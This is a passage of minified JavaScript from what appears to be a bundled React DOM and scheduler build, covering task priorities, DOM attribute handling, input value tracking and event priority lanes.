qe(J,le){pe=O(function(){J(t.unstable_now())},le)}t.unstable_IdlePriority=5,t.unstable_ImmediatePriority=1,t.unstable_LowPriority=4,t.unstable_NormalPriority=3,t.unstable_Profiling=null,t.unstable_UserBlockingPriority=2,t.unstable_cancelCallback=function(J){J.callback=null},t.unstable_continueExecution=function(){D||A||(D=!0,vt(ee))},t.unstable_forceFrameRate=function(J){0>J||125<J?console.error("forceFrameRate takes a positive int between 0 and 125, forcing frame rates higher than 125 fps is not supported"):Re=0<J?Math.floor(1e3/J):5},t.unstable_getCurrentPriorityLevel=function(){return T},t.unstable_getFirstCallbackNode=function(){return i(g)},t.unstable_next=function(J){switch(T){case 1:case 2:case 3:var le=3;break;default:le=T}var X=T;T=le;try{return J()}finally{T=X}},t.unstable_pauseExecution=function(){},t.unstable_requestPaint=function(){},t.unstable_runWithPriority=function(J,le){switch(J){case 1:case 2:case 3:case 4:case 5:break;default:J=3}var X=T;T=J;try{return le()}finally{T=X}},t.unstable_scheduleCallback=function(J,le,X){var z=t.unstable_now();switch(typeof X=="object"&&X!==null?(X=X.delay,X=typeof X=="number"&&0<X?z+X:z):X=z,J){case 1:var F=-1;break;case 2:F=250;break;case 5:F=1073741823;break;case 4:F=1e4;break;default:F=5e3}return F=X+F,J={id:E++,callback:le,priorityLevel:J,startTime:X,expirationTime:F,sortIndex:-1},X>z?(J.sortIndex=X,r(y,J),i(g)===null&&J===i(y)&&(W?(H(pe),pe=-1):W=!0,qe(G,X-z))):(J.sortIndex=F,r(g,J),D||A||(D=!0,vt(ee))),J},t.unstable_shouldYield=Ze,t.unstable_wrapCallback=function(J){var le=T;return function(){var X=T;T=le;try{return J.apply(this,arguments)}finally{T=X}}}})(Ll)),Ll}var Vp;function Lg(){return Vp||(Vp=1,$l.exports=$g()),$l.exports}var Wp;function Dg(){if(Wp)return xt;Wp=1;var t=iu(),r=Lg();function i(e){for(var n="https://reactjs.org/docs/error-decoder.html?invariant="+e,a=1;a<arguments.length;a++)n+="&args[]="+encodeURIComponent(arguments[a]);return"Minified React error #"+e+"; visit "+n+" for the full message or use the non-minified dev environment for full errors and additional helpful warnings."}var s=new Set,u={};function p(e,n){d(e,n),d(e+"Capture",n)}function d(e,n){for(u[e]=n,e=0;e<n.length;e++)s.add(n[e])}var m=!(typeof window>"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),g=Object.prototype.hasOwnProperty,y=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,E={},S={};function T(e){return g.call(S,e)?!0:g.call(E,e)?!1:y.test(e)?S[e]=!0:(E[e]=!0,!1)}function A(e,n,a,l){if(a!==null&&a.type===0)return!1;switch(typeof n){case"function":case"symbol":return!0;case"boolean":return l?!1:a!==null?!a.acceptsBooleans:(e=e.toLowerCase().slice(0,5),e!=="data-"&&e!=="aria-");default:return!1}}function D(e,n,a,l){if(n===null||typeof n>"u"||A(e,n,a,l))return!0;if(l)return!1;if(a!==null)switch(a.type){case 3:return!n;case 4:return n===!1;case 5:return isNaN(n);case 6:return isNaN(n)||1>n}return!1}function W(e,n,a,l,c,f,v){this.acceptsBooleans=n===2||n===3||n===4,this.attributeName=l,this.attributeNamespace=c,this.mustUseProperty=a,this.propertyName=e,this.type=n,this.sanitizeURL=f,this.removeEmptyString=v}var O={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(e){O[e]=new W(e,0,!1,e,null,!1,!1)}),[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(e){var n=e[0];O[n]=new W(n,1,!1,e[1],null,!1,!1)}),["contentEditable","draggable","spellCheck","value"].forEach(function(e){O[e]=new W(e,2,!1,e.toLowerCase(),null,!1,!1)}),["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(e){O[e]=new W(e,2,!1,e,null,!1,!1)}),"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(e){O[e]=new W(e,3,!1,e.toLowerCase(),null,!1,!1)}),["checked","multiple","muted","selected"].forEach(function(e){O[e]=new W(e,3,!0,e,null,!1,!1)}),["capture","download"].forEach(function(e){O[e]=new W(e,4,!1,e,null,!1,!1)}),["cols","rows","size","span"].forEach(function(e){O[e]=new W(e,6,!1,e,null,!1,!1)}),["rowSpan","start"].forEach(function(e){O[e]=new W(e,5,!1,e.toLowerCase(),null,!1,!1)});var H=/[\-:]([a-z])/g;function oe(e){return e[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(e){var n=e.replace(H,oe);O[n]=new W(n,1,!1,e,null,!1,!1)}),"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(e){var n=e.replace(H,oe);O[n]=new W(n,1,!1,e,"http://www.w3.org/1999/xlink",!1,!1)}),["xml:base","xml:lang","xml:space"].forEach(function(e){var n=e.replace(H,oe);O[n]=new W(n,1,!1,e,"http://www.w3.org/XML/1998/namespace",!1,!1)}),["tabIndex","crossOrigin"].forEach(function(e){O[e]=new W(e,1,!1,e.toLowerCase(),null,!1,!1)}),O.xlinkHref=new W("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1),["src","href","action","formAction"].forEach(function(e){O[e]=new W(e,1,!1,e.toLowerCase(),null,!0,!0)});function Q(e,n,a,l){var c=O.hasOwnProperty(n)?O[n]:null;(c!==null?c.type!==0:l||!(2<n.length)||n[0]!=="o"&&n[0]!=="O"||n[1]!=="n"&&n[1]!=="N")&&(D(n,a,c,l)&&(a=null),l||c===null?T(n)&&(a===null?e.removeAttribute(n):e.setAttribute(n,""+a)):c.mustUseProperty?e[c.propertyName]=a===null?c.type===3?!1:"":a:(n=c.attributeName,l=c.attributeNamespace,a===null?e.removeAttribute(n):(c=c.type,a=c===3||c===4&&a===!0?"":""+a,l?e.setAttributeNS(l,n,a):e.setAttribute(n,a))))}var G=t.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED,ee=Symbol.for("react.element"),ue=Symbol.for("react.portal"),de=Symbol.for("react.fragment"),pe=Symbol.for("react.strict_mode"),Re=Symbol.for("react.profiler"),ye=Symbol.for("react.provider"),Ze=Symbol.for("react.context"),Ke=Symbol.for("react.forward_ref"),et=Symbol.for("react.suspense"),Qe=Symbol.for("react.suspense_list"),kt=Symbol.for("react.memo"),vt=Symbol.for("react.lazy"),qe=Symbol.for("react.offscreen"),J=Symbol.iterator;function le(e){return e===null||typeof e!="object"?null:(e=J&&e[J]||e["@@iterator"],typeof e=="function"?e:null)}var X=Object.assign,z;function F(e){if(z===void 0)try{throw Error()}catch(a){var n=a.stack.trim().match(/\n( *(at )?)/);z=n&&n[1]||""}return`
+`+z+e}var me=!1;function ge(e,n){if(!e||me)return"";me=!0;var a=Error.prepareStackTrace;Error.prepareStackTrace=void 0;try{if(n)if(n=function(){throw Error()},Object.defineProperty(n.prototype,"props",{set:function(){throw Error()}}),typeof Reflect=="object"&&Reflect.construct){try{Reflect.construct(n,[])}catch(R){var l=R}Reflect.construct(e,[],n)}else{try{n.call()}catch(R){l=R}e.call(n.prototype)}else{try{throw Error()}catch(R){l=R}e()}}catch(R){if(R&&l&&typeof R.stack=="string"){for(var c=R.stack.split(`
+`),f=l.stack.split(`
+`),v=c.length-1,_=f.length-1;1<=v&&0<=_&&c[v]!==f[_];)_--;for(;1<=v&&0<=_;v--,_--)if(c[v]!==f[_]){if(v!==1||_!==1)do if(v--,_--,0>_||c[v]!==f[_]){var I=`
+`+c[v].replace(" at new "," at ");return e.displayName&&I.includes("<anonymous>")&&(I=I.replace("<anonymous>",e.displayName)),I}while(1<=v&&0<=_);break}}}finally{me=!1,Error.prepareStackTrace=a}return(e=e?e.displayName||e.name:"")?F(e):""}function we(e){switch(e.tag){case 5:return F(e.type);case 16:return F("Lazy");case 13:return F("Suspense");case 19:return F("SuspenseList");case 0:case 2:case 15:return e=ge(e.type,!1),e;case 11:return e=ge(e.type.render,!1),e;case 1:return e=ge(e.type,!0),e;default:return""}}function xe(e){if(e==null)return null;if(typeof e=="function")return e.displayName||e.name||null;if(typeof e=="string")return e;switch(e){case de:return"Fragment";case ue:return"Portal";case Re:return"Profiler";case pe:return"StrictMode";case et:return"Suspense";case Qe:return"SuspenseList"}if(typeof e=="object")switch(e.$$typeof){case Ze:return(e.displayName||"Context")+".Consumer";case ye:return(e._context.displayName||"Context")+".Provider";case Ke:var n=e.render;return e=e.displayName,e||(e=n.displayName||n.name||"",e=e!==""?"ForwardRef("+e+")":"ForwardRef"),e;case kt:return n=e.displayName||null,n!==null?n:xe(e.type)||"Memo";case vt:n=e._payload,e=e._init;try{return xe(e(n))}catch{}}return null}function Ce(e){var n=e.type;switch(e.tag){case 24:return"Cache";case 9:return(n.displayName||"Context")+".Consumer";case 10:return(n._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return e=n.render,e=e.displayName||e.name||"",n.displayName||(e!==""?"ForwardRef("+e+")":"ForwardRef");case 7:return"Fragment";case 5:return n;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return xe(n);case 8:return n===pe?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof n=="function")return n.displayName||n.name||null;if(typeof n=="string")return n}return null}function ke(e){switch(typeof e){case"boolean":case"number":case"string":case"undefined":return e;case"object":return e;default:return""}}function Ae(e){var n=e.type;return(e=e.nodeName)&&e.toLowerCase()==="input"&&(n==="checkbox"||n==="radio")}function bt(e){var n=Ae(e)?"checked":"value",a=Object.getOwnPropertyDescriptor(e.constructor.prototype,n),l=""+e[n];if(!e.hasOwnProperty(n)&&typeof a<"u"&&typeof a.get=="function"&&typeof a.set=="function"){var c=a.get,f=a.set;return Object.defineProperty(e,n,{configurable:!0,get:function(){return c.call(this)},set:function(v){l=""+v,f.call(this,v)}}),Object.defineProperty(e,n,{enumerable:a.enumerable}),{getValue:function(){return l},setValue:function(v){l=""+v},stopTracking:function(){e._valueTracker=null,delete e[n]}}}}function ri(e){e._valueTracker||(e._valueTracker=bt(e))}function Wu(e){if(!e)return!1;var n=e._valueTracker;if(!n)return!0;var a=n.getValue(),l="";return e&&(l=Ae(e)?e.checked?"true":"false":e.value),e=l,e!==a?(n.setValue(e),!0):!1}function oi(e){if(e=e||(typeof document<"u"?document:void 0),typeof e>"u")return null;try{return e.activeElement||e.body}catch{return e.body}}function Fa(e,n){var a=n.checked;return X({},n,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:a??e._wrapperState.initialChecked})}function Hu(e,n){var a=n.defaultValue==null?"":n.defaultValue,l=n.checked!=null?n.checked:n.defaultChecked;a=ke(n.value!=null?n.value:a),e._wrapperState={initialChecked:l,initialValue:a,controlled:n.type==="checkbox"||n.type==="radio"?n.checked!=null:n.value!=null}}function Gu(e,n){n=n.checked,n!=null&&Q(e,"checked",n,!1)}function Ua(e,n){Gu(e,n);var a=ke(n.value),l=n.type;if(a!=null)l==="number"?(a===0&&e.value===""||e.value!=a)&&(e.value=""+a):e.value!==""+a&&(e.value=""+a);else if(l==="submit"||l==="reset"){e.removeAttribute("value");return}n.hasOwnProperty("value")?Za(e,n.type,a):n.hasOwnProperty("defaultValue")&&Za(e,n.type,ke(n.defaultValue)),n.checked==null&&n.defaultChecked!=null&&(e.defaultChecked=!!n.defaultChecked)}function Ju(e,n,a){if(n.hasOwnProperty("value")||n.hasOwnProperty("defaultValue")){var l=n.type;if(!(l!=="submit"&&l!=="reset"||n.value!==void 0&&n.value!==null))return;n=""+e._wrapperState.initialValue,a||n===e.value||(e.value=n),e.defaultValue=n}a=e.name,a!==""&&(e.name=""),e.defaultChecked=!!e._wrapperState.initialChecked,a!==""&&(e.name=a)}function Za(e,n,a){(n!=="number"||oi(e.ownerDocument)!==e)&&(a==null?e.defaultValue=""+e._wrapperState.initialValue:e.defaultValue!==""+a&&(e.defaultValue=""+a))}var io=Array.isArray;function _r(e,n,a,l){if(e=e.options,n){n={};for(var c=0;c<a.length;c++)n["$"+a[c]]=!0;for(a=0;a<e.length;a++)c=n.hasOwnProperty("$"+e[a].value),e[a].selected!==c&&(e[a].selected=c),c&&l&&(e[a].defaultSelected=!0)}else{for(a=""+ke(a),n=null,c=0;c<e.length;c++){if(e[c].value===a){e[c].selected=!0,l&&(e[c].defaultSelected=!0);return}n!==null||e[c].disabled||(n=e[c])}n!==null&&(n.selected=!0)}}function qa(e,n){if(n.dangerouslySetInnerHTML!=null)throw Error(i(91));return X({},n,{value:void 0,defaultValue:void 0,children:""+e._wrapperState.initialValue})}function Ku(e,n){var a=n.value;if(a==null){if(a=n.children,n=n.defaultValue,a!=null){if(n!=null)throw Error(i(92));if(io(a)){if(1<a.length)throw Error(i(93));a=a[0]}n=a}n==null&&(n=""),a=n}e._wrapperState={initialValue:ke(a)}}function Qu(e,n){var a=ke(n.value),l=ke(n.defaultValue);a!=null&&(a=""+a,a!==e.value&&(e.value=a),n.defaultValue==null&&e.defaultValue!==a&&(e.defaultValue=a)),l!=null&&(e.defaultValue=""+l)}function Yu(e){var n=e.textContent;n===e._wrapperState.initialValue&&n!==""&&n!==null&&(e.value=n)}function Xu(e){switch(e){case"svg":return"http://www.w3.org/2000/svg";case"math":return"http://www.w3.org/1998/Math/MathML";default:return"http://www.w3.org/1999/xhtml"}}function Va(e,n){return e==null||e==="http://www.w3.org/1999/xhtml"?Xu(n):e==="http://www.w3.org/2000/svg"&&n==="foreignObject"?"http://www.w3.org/1999/xhtml":e}var ii,ec=(function(e){return typeof MSApp<"u"&&MSApp.execUnsafeLocalFunction?function(n,a,l,c){MSApp.execUnsafeLocalFunction(function(){return e(n,a,l,c)})}:e})(function(e,n){if(e.namespaceURI!=="http://www.w3.org/2000/svg"||"innerHTML"in e)e.innerHTML=n;else{for(ii=ii||document.createElement("div"),ii.innerHTML="<svg>"+n.valueOf().toString()+"</svg>",n=ii.firstChild;e.firstChild;)e.removeChild(e.firstChild);for(;n.firstChild;)e.appendChild(n.firstChild)}});function ao(e,n){if(n){var a=e.firstChild;if(a&&a===e.lastChild&&a.nodeType===3){a.nodeValue=n;return}}e.textContent=n}var so={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},jv=["Webkit","ms","Moz","O"];Object.keys(so).forEach(function(e){jv.forEach(function(n){n=n+e.charAt(0).toUpperCase()+e.substring(1),so[n]=so[e]})});function tc(e,n,a){return n==null||typeof n=="boolean"||n===""?"":a||typeof n!="number"||n===0||so.hasOwnProperty(e)&&so[e]?(""+n).trim():n+"px"}function nc(e,n){e=e.style;for(var a in n)if(n.hasOwnProperty(a)){var l=a.indexOf("--")===0,c=tc(a,n[a],l);a==="float"&&(a="cssFloat"),l?e.setProperty(a,c):e[a]=c}}var $v=X({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function Wa(e,n){if(n){if($v[e]&&(n.children!=null||n.dangerouslySetInnerHTML!=null))throw Error(i(137,e));if(n.dangerouslySetInnerHTML!=null){if(n.children!=null)throw Error(i(60));if(typeof n.dangerouslySetInnerHTML!="object"||!("__html"in n.dangerouslySetInnerHTML))throw Error(i(61))}if(n.style!=null&&typeof n.style!="object")throw Error(i(62))}}function Ha(e,n){if(e.indexOf("-")===-1)return typeof n.is=="string";switch(e){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var Ga=null;function Ja(e){return e=e.target||e.srcElement||window,e.correspondingUseElement&&(e=e.correspondingUseElement),e.nodeType===3?e.parentNode:e}var Ka=null,wr=null,xr=null;function rc(e){if(e=Bo(e)){if(typeof Ka!="function")throw Error(i(280));var n=e.stateNode;n&&(n=Ci(n),Ka(e.stateNode,e.type,n))}}function oc(e){wr?xr?xr.push(e):xr=[e]:wr=e}function ic(){if(wr){var e=wr,n=xr;if(xr=wr=null,rc(e),n)for(e=0;e<n.length;e++)rc(n[e])}}function ac(e,n){return e(n)}function sc(){}var Qa=!1;function lc(e,n,a){if(Qa)return e(n,a);Qa=!0;try{return ac(e,n,a)}finally{Qa=!1,(wr!==null||xr!==null)&&(sc(),ic())}}function lo(e,n){var a=e.stateNode;if(a===null)return null;var l=Ci(a);if(l===null)return null;a=l[n];e:switch(n){case"onClick":case"onClickCapture":case"onDoubleClick":case"onDoubleClickCapture":case"onMouseDown":case"onMouseDownCapture":case"onMouseMove":case"onMouseMoveCapture":case"onMouseUp":case"onMouseUpCapture":case"onMouseEnter":(l=!l.disabled)||(e=e.type,l=!(e==="button"||e==="input"||e==="select"||e==="textarea")),e=!l;break e;default:e=!1}if(e)return null;if(a&&typeof a!="function")throw Error(i(231,n,typeof a));return a}var Ya=!1;if(m)try{var uo={};Object.defineProperty(uo,"passive",{get:function(){Ya=!0}}),window.addEventListener("test",uo,uo),window.removeEventListener("test",uo,uo)}catch{Ya=!1}function Lv(e,n,a,l,c,f,v,_,I){var R=Array.prototype.slice.call(arguments,3);try{n.apply(a,R)}catch(U){this.onError(U)}}var co=!1,ai=null,si=!1,Xa=null,Dv={onError:function(e){co=!0,ai=e}};function Mv(e,n,a,l,c,f,v,_,I){co=!1,ai=null,Lv.apply(Dv,arguments)}function Fv(e,n,a,l,c,f,v,_,I){if(Mv.apply(this,arguments),co){if(co){var R=ai;co=!1,ai=null}else throw Error(i(198));si||(si=!0,Xa=R)}}function Xn(e){var n=e,a=e;if(e.alternate)for(;n.return;)n=n.return;else{e=n;do n=e,(n.flags&4098)!==0&&(a=n.return),e=n.return;while(e)}return n.tag===3?a:null}function uc(e){if(e.tag===13){var n=e.memoizedState;if(n===null&&(e=e.alternate,e!==null&&(n=e.memoizedState)),n!==null)return n.dehydrated}return null}function cc(e){if(Xn(e)!==e)throw Error(i(188))}function Uv(e){var n=e.alternate;if(!n){if(n=Xn(e),n===null)throw Error(i(188));return n!==e?null:e}for(var a=e,l=n;;){var c=a.return;if(c===null)break;var f=c.alternate;if(f===null){if(l=c.return,l!==null){a=l;continue}break}if(c.child===f.child){for(f=c.child;f;){if(f===a)return cc(c),e;if(f===l)return cc(c),n;f=f.sibling}throw Error(i(188))}if(a.return!==l.return)a=c,l=f;else{for(var v=!1,_=c.child;_;){if(_===a){v=!0,a=c,l=f;break}if(_===l){v=!0,l=c,a=f;break}_=_.sibling}if(!v){for(_=f.child;_;){if(_===a){v=!0,a=f,l=c;break}if(_===l){v=!0,l=f,a=c;break}_=_.sibling}if(!v)throw Error(i(189))}}if(a.alternate!==l)throw Error(i(190))}if(a.tag!==3)throw Error(i(188));return a.stateNode.current===a?e:n}function dc(e){return e=Uv(e),e!==null?pc(e):null}function pc(e){if(e.tag===5||e.tag===6)return e;for(e=e.child;e!==null;){var n=pc(e);if(n!==null)return n;e=e.sibling}return null}var fc=r.unstable_scheduleCallback,mc=r.unstable_cancelCallback,Zv=r.unstable_shouldYield,qv=r.unstable_requestPaint,We=r.unstable_now,Vv=r.unstable_getCurrentPriorityLevel,es=r.unstable_ImmediatePriority,vc=r.unstable_UserBlockingPriority,li=r.unstable_NormalPriority,Wv=r.unstable_LowPriority,hc=r.unstable_IdlePriority,ui=null,Xt=null;function Hv(e){if(Xt&&typeof Xt.onCommitFiberRoot=="function")try{Xt.onCommitFiberRoot(ui,e,void 0,(e.current.flags&128)===128)}catch{}}var Ut=Math.clz32?Math.clz32:Kv,Gv=Math.log,Jv=Math.LN2;function Kv(e){return e>>>=0,e===0?32:31-(Gv(e)/Jv|0)|0}var ci=64,di=4194304;function po(e){switch(e&-e){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return e&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return e&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return e}}function pi(e,n){var a=e.pendingLanes;if(a===0)return 0;var l=0,c=e.suspendedLanes,f=e.pingedLanes,v=a&268435455;if(v!==0){var _=v&~c;_!==0?l=po(_):(f&=v,f!==0&&(l=po(f)))}else v=a&~c,v!==0?l=po(v):f!==0&&(l=po(f));if(l===0)return 0;if(n!==0&&n!==l&&(n&c)===0&&(c=l&-l,f=n&-n,c>=f||c===16&&(f&4194240)!==0))return n;if((l&4)!==0&&(l|=a&16),n=e.entangledLanes,n!==0)for(e=e.entanglements,n&=l;0<n;)a=31-Ut(n),c=1<<a,l|=e[a],n&=~c;return l}function Qv(e,n){switch(e){case 1:case 2:case 4:return n+250;case 8:case 16:case 32:case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return n+5e3;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return-1;case 134217728:case 268435456:case 536870912:case 1073741824:return-1;default:return-1}}function Yv(e,n){for(var a=e.suspendedLanes,l=e.pingedLanes,c=e.expirationTimes,f=e.pendingLanes;0<f;){var v=31-Ut(f),_=1<<v,I=c[v];I===-1?((_&a)===0||(_&l)!==0)&&(c[v]=Qv(_,n)):I<=n&&(e.expiredLanes|=_),f&=~_}}function ts(e){return e=e.pendingLanes&-1073741825,e!==0?e:e&1073741824?1073741824:0}function gc(){var e=ci;return ci<<=1,(ci&4194240)===0&&(ci=64),e}function ns(e){for(var n=[],a=0;31>a;a++)n.push(e);return n}function fo(e,n,a){e.pendingLanes|=n,n!==536870912&&(e.suspendedLanes=0,e.pingedLanes=0),e=e.eventTimes,n=31-Ut(n),e[n]=a}function Xv(e,n){var a=e.pendingLanes&~n;e.pendingLanes=n,e.suspendedLanes=0,e.pingedLanes=0,e.expiredLanes&=n,e.mutableReadLanes&=n,e.entangledLanes&=n,n=e.entanglements;var l=e.eventTimes;for(e=e.expirationTimes;0<a;){var c=31-Ut(a),f=1<<c;n[c]=0,l[c]=-1,e[c]=-1,a&=~f}}function rs(e,n){var a=e.entangledLanes|=n;for(e=e.entanglements;a;){var l=31-Ut(a),c=1<<l;c&n|e[l]&n&&(e[l]|=n),a&=~c}}var be=0;function yc(e){return e&=-e,1<e?4<e?(e&268435455)!==0?16:536870912:4:1}var _c,os,wc,xc,Ec,is=!1,fi=[],En=null,In=null,Sn=null,mo=new Map,vo=new Map,kn=[],eh="mousedown mouseup touchcancel touchend touchstart auxclick dblclick pointercancel pointerdown pointerup dragend dragstart drop compositionend compositionstart keydown keypress keyup input textInput copy cut paste click change contextmenu reset submit".split(" ");function Ic(e,n){switch(e){case"focusin":case"focusout":En=null;break;case"dragenter":case"dragleave":In=null;break;case"mouseover":case"mouseout":Sn=null;break;case"pointerover":case"pointerout":mo.delete(n.pointerId);break;case"gotpointercapture":case"lostpointercapture":vo.delete(n.pointerId)}}function ho(e,n,a,l,c,f){return e===null||e.nativeEvent!==f?(e={blockedOn:n,domEventName:a,eventSystemFlags:l,nativeEvent:f,targetContainers:[c]},n!==null&&(n=Bo(n),n!==null&&os(n)),e):(e.eventSystemFlags|=l,n=e.targetContainers,c!==null&&n.indexOf(c)===-1&&n.push(c),e)}function th(e,n,a,l,c){switch(n){case"focusin":return En=ho(En,e,n,a,l,c),!0;case"dragenter":return In=ho(In,e,n,a,l,c),!0;case"mouseover":return Sn=ho(Sn,e,n,a,l,c),!0;case"pointerover":var f=c.pointerId;return mo.set(f,ho(mo.get(f)||null,e,n,a,l,c)),!0;case"gotpointercapture":return f=c.pointerId,vo.set(f,ho(vo.get(f)||null,e,n,a,l,c)),!0}return!1}function Sc(e){var n=er(e.target);if(n!==null){var a=Xn(n);if(a!==null){if(n=a.tag,n===13){if(n=uc(a),n!==null){e.blockedOn=n,Ec(e.priority,function(){wc(a)});return}}else if(n===3&&a.stateNode.current.memoizedState.isDehydrated){e.blockedOn=a.tag===3?a.stateNode.containerInfo:null;return}}}e.blockedOn=null}function mi(e){if(e.blockedOn!==null)return!1;for(var n=e.targetContainers;0<n.length;){var a=ss(e.domEventName,e.eventSystemFlags,n[0],e.nativeEvent);if(a===null){a=e.nativeEvent;var l=new a.constructor(a.type,a);Ga=l,a.target.dispatchEvent(l),Ga=null}else return n=Bo(a),n!==null&&os(n),e.blockedOn=a,!1;n.shift()}return!0}function kc(e,n,a){mi(e)&&a.delete(n)}function nh(){is=!1,En!==null&&mi(En)&&(En=null),In!==null&&mi(In)&&(In=null),Sn!==null&&mi(Sn)&&(Sn=null),mo.forEach(kc),vo.forEach(kc)}function go(e,n){e.blockedOn===n&&(e.blockedOn=null,is||(is=!0,r.unstable_scheduleCallback(r.unstable_NormalPriority,nh)))}function yo(e){function n(c){return go(c,e)}if(0<fi.length){go(fi[0],e);for(var a=1;a<fi.length;a++){var l=fi[a];l.blockedOn===e&&(l.blockedOn=null)}}for(En!==null&&go(En,e),In!==null&&go(In,e),Sn!==null&&go(Sn,e),mo.forEach(n),vo.forEach(n),a=0;a<kn.length;a++)l=kn[a],l.blockedOn===e&&(l.blockedOn=null);for(;0<kn.length&&(a=kn[0],a.blockedOn===null);)Sc(a),a.blockedOn===null&&kn.shift()}var Er=G.ReactCurrentBatchConfig,vi=!0;function rh(e,n,a,l){var c=be,f=Er.transition;Er.transition=null;try{be=1,as(e,n,a,l)}finally{be=c,Er.transition=f}}function oh(e,n,a,l){var c=be,f=Er.transition;Er.transition=null;try{be=4,as(e,n,a,l)}finally{be=c,Er.transition=f}}function as(e,n,a,l){if(vi){var c=ss(e,n,a,l);if(c===null)Ss(e,n,l,hi,a),Ic(e,l);else if(th(c,e,n,a,l))l.stopPropagation();else if(Ic(e,l),n&4&&-1<eh.indexOf(e)){for(;c!==null;){var f=Bo(c);if(f!==null&&_c(f),f=ss(e,n,a,l),f===null&&Ss(e,n,l,hi,a),f===c)break;c=f}c!==null&&l.stopPropagation()}else Ss(e,n,l,null,a)}}var hi=null;function ss(e,n,a,l){if(hi=null,e=Ja(l),e=er(e),e!==null)if(n=Xn(e),n===null)e=null;else if(a=n.tag,a===13){if(e=uc(n),e!==null)return e;e=null}else if(a===3){if(n.stateNode.current.memoizedState.isDehydrated)return n.tag===3?n.stateNode.containerInfo:null;e=null}else n!==e&&(e=null);return hi=e,null}function bc(e){switch(e){case"cancel":case"click":case"close":case"contextmenu":case"copy":case"cut":case"auxclick":case"dblclick":case"dragend":case"dragstart":case"drop":case"focusin":case"focusout":case"input":case"invalid":case"keydown":case"keypress":case"keyup":case"mousedown":case"mouseup":case"paste":case"pause":case"play":case"pointercancel":case"pointerdown":case"pointerup":case"ratechange":case"reset":case"resize":case"seeked":case"submit":case"touchcancel":case"touchend":case"touchstart":case"volumechange":case"change":case"selectionchange":case"textInput":case"compositionstart":case"compositionend":case"compositionupdate":case"beforeblur":case"afterblur":case"beforeinput":case"blur":case"fullscreenchange":case"focus":case"hashchange":case"popstate":case"select":case"selectstart":return 1;case"drag":case"dragenter":case"dragexit":case"dragleave":case"dragover":case"mousemove":case"mouseout":case"mouseover":case"pointermove":case"pointerout":case"pointerover":case"scroll":case"toggle":case"touchmove":case"wheel":case"mouseenter":case"mouseleave":case"pointerenter":case"pointerleave":return 4;case"message":switch(Vv()){case es:return 1;case vc:return 